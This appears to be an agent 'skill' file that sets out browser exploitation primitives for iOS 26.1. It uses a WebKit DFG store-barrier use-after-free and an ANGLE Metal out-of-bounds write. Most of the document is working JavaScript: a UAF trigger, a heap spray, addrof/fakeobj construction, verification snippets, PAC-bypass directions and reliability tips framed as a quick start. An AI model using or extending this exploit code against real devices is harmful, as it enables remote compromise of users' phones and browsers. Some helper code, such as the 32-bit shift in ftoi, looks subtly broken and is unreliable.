iOS 26.1 WebKit + ANGLE Exploitation Primitives

This skill provides exploitation primitives for iOS 26.1 (arm64e) using two complementary vulnerabilities:

1. WebKit DFG Store-Barrier UAF (CVE-2025-43529) - Memory corruption via missing write barriers
2. ANGLE Metal PBO OOB (CVE-2025-14174) - Out-of-bounds write via under-allocated staging buffer

Quick Start

// 1. Trigger the UAF
triggerUAF(true, 100);

// 2. Reclaim freed butterfly with array spray
sprayArrays();

// 3. Build addrof/fakeobj primitives
const addr = ftoi(unboxed_arr[0]);
unboxed_arr[0] = itof(addr);
const fake = boxed_arr[0];

Vulnerability 1: DFG Store-Barrier UAF

Root Cause

In

DFGStoreBarrierInsertionPhase.cpp

, when a Phi node is marked escaped while its Upsilon inputs are not, the compiler skips inserting write barriers on subsequent object stores. Under GC pressure, this allows JSC to free still-reachable objects.

Trigger Pattern

function triggerUAF(flag, allocCount) {
    // Tenure object A in old space
    const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
    arr[arr_index] = A;
    
    // Force Date to materialize a butterfly (the target to free)
    const a = new Date(1111); 
    a[0] = 1.1;  // Indexed access creates butterfly

    // Apply GC pressure to widen the race window
    for (let j = 0; j < allocCount; ++j) {
        forGC.push(new ArrayBuffer(0x800000));
    }

    // Set up Phi/Upsilon escape mismatch
    const b = {p0: 0x42424242, p1: 1.1};
    let f = b; 
    if (flag) f = 1.1;  // Phi escapes, Upsilon not escaped
    A.p1 = f;           // Missing barrier state set up

    // GC race window
    for (let i = 0; i < 1e6; ++i) {}
    
    // Store without barrier → frees `a`/butterfly
    b.p1 = a;
}

Key Requirements

Requirement	Purpose
Old space tenure	Exercises generational barriers
Indexed Date	Creates butterfly as free target
ArrayBuffer spray	Forces GC, widens race window
Phi/Upsilon mismatch	Prevents barrier insertion

Vulnerability 2: ANGLE Metal PBO OOB

Root Cause

In

TextureMtl.cpp

, the Metal backend allocates the PBO staging buffer using

UNPACK_IMAGE_HEIGHT

instead of the real texture height. Supplying a tiny unpack height then issuing a large

texImage2D

causes a staging-buffer OOB write.

Trigger Pattern

// Shrink staging buffer allocation
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height

// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(
    gl.TEXTURE_2D, 
    0, 
    gl.DEPTH_COMPONENT32F,
    256, 256, 0, 
    gl.DEPTH_COMPONENT, 
    gl.FLOAT, 
    0
);

Notes

• The WebGL2 PBO trigger is plumbed but may not be reliably observable on iOS 26.1
• Use this as a secondary primitive or for heap grooming

PAC Constraints on arm64e

The Problem

On iOS 26.1 (arm64e), these fields are PAC-signed:

• TypedArray

  m_vector

• JSArray

  butterfly

Forging fake objects with attacker-chosen pointers crashes with

EXC_BAD_ACCESS

/

EXC_ARM_PAC

.

The Solution

The boxed/unboxed confusion primitive works because it reuses legitimate signed butterflies. You cannot introduce unsigned attacker pointers directly.

What Works

• ✅

  addrof

  - Leak object addresses
• ✅

  fakeobj

  - Reinterpret existing objects
• ✅ 20+ address leaks per run
• ✅ Inline-slot read/write (on known inline fields)

What Doesn't Work Yet

• ❌ Generalized

  read64

  /

  write64

  via inline-slot backings
• ❌ Direct pointer forgery (PAC authentication fails)

Exploitation Primitives

Boxed/Unboxed Confusion Setup

// After UAF triggers and butterfly is freed
function sprayArrays() {
    // Spray to reclaim freed slab
    for (let i = 0; i < 1000; i++) {
        boxed_arr[i] = new Object();
        unboxed_arr[i] = 0.0;
    }
}

// Build primitives
boxed_arr[0] = obj;                    // Store as boxed pointer
const addr = ftoi(unboxed_arr[0]);     // Read as float64 → addr leak
unboxed_arr[0] = itof(addr);           // Write pointer bits as float
const fake = boxed_arr[0];             // Reinterpret as object → fakeobj

Helper Functions

// Float64 ↔ Pointer conversion
function ftoi(f) {
    const view = new Float64Array(1);
    view[0] = f;
    return new Uint32Array(view.buffer)[0] | 
           (new Uint32Array(view.buffer)[1] << 32);
}

function itof(i) {
    const view = new Uint32Array(2);
    view[0] = i & 0xFFFFFFFF;
    view[1] = (i >> 32) & 0xFFFFFFFF;
    return new Float64Array(view.buffer)[0];
}

PAC Bypass Ideas

These are research directions, not confirmed working:

1. JIT paths that skip auth - Find code paths where PAC authentication is bypassed
2. Gadgets that sign attacker pointers - Use PAC signing instructions in JIT code
3. Pivot through ANGLE OOB - Use the OOB write to corrupt PAC-protected structures

Debugging Tips

Verify UAF Trigger

// Check if butterfly was freed by attempting to access it
try {
    console.log(a[0]);  // Should crash or return garbage if freed
} catch(e) {
    console.log("UAF likely triggered");
}

Verify Primitive Works

// Leak known address
const known = {x: 1};
const leaked = ftoi(unboxed_arr[0]);
console.log("Leaked: 0x" + leaked.toString(16));

// Verify fakeobj
const fake = boxed_arr[0];
console.log(fake.x);  // Should work if primitive is correct

References

• WebKit-UAF-ANGLE-OOB-Analysis
• jir4vv1t/CVE-2025-43529
• CVE-2025-43529: WebKit DFG Store-Barrier UAF
• CVE-2025-14174: ANGLE Metal PBO OOB

Common Pitfalls

1. Not enough GC pressure - Increase

   allocCount

   if UAF doesn't trigger
2. Wrong element kinds - Ensure arrays have different element kinds for confusion
3. PAC-signed fields - Don't try to forge pointers directly; reuse existing butterflies
4. Timing sensitivity - The UAF is race-based; may need multiple attempts